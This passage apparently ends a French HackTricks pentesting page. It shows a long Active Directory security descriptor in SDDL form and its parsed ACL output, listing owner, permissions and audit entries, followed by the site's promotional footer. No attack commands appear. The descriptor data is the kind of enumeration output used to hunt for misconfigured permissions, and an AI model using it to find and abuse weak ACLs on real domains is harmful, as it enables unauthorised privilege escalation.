50-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
Propriétaire : BUILTIN\Administrateurs
Groupe : BUILTIN\Administrateurs
DiscretionaryAcl : {Everyone: Accès refusé (WriteData), Everyone: Accès autorisé (WriteExtendedAttributes), NT AUTHORITY\ANONYMOUS LOGON: Accès autorisé (CreateDirectories, GenericExecute, ReadPermissions, Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: Accès autorisé (CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions, WriteExtendedAttributes)...}
SystemAcl : {Everyone: Audit système réussi (ChangePermissions, TakeOwnership, Traverse), BUILTIN\Administrateurs: Audit système réussi (WriteAttributes), DOMAIN_NAME\Domain Users: Audit système réussi (WriteAttributes), Everyone: Audit système réussi (Traverse)...}
RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>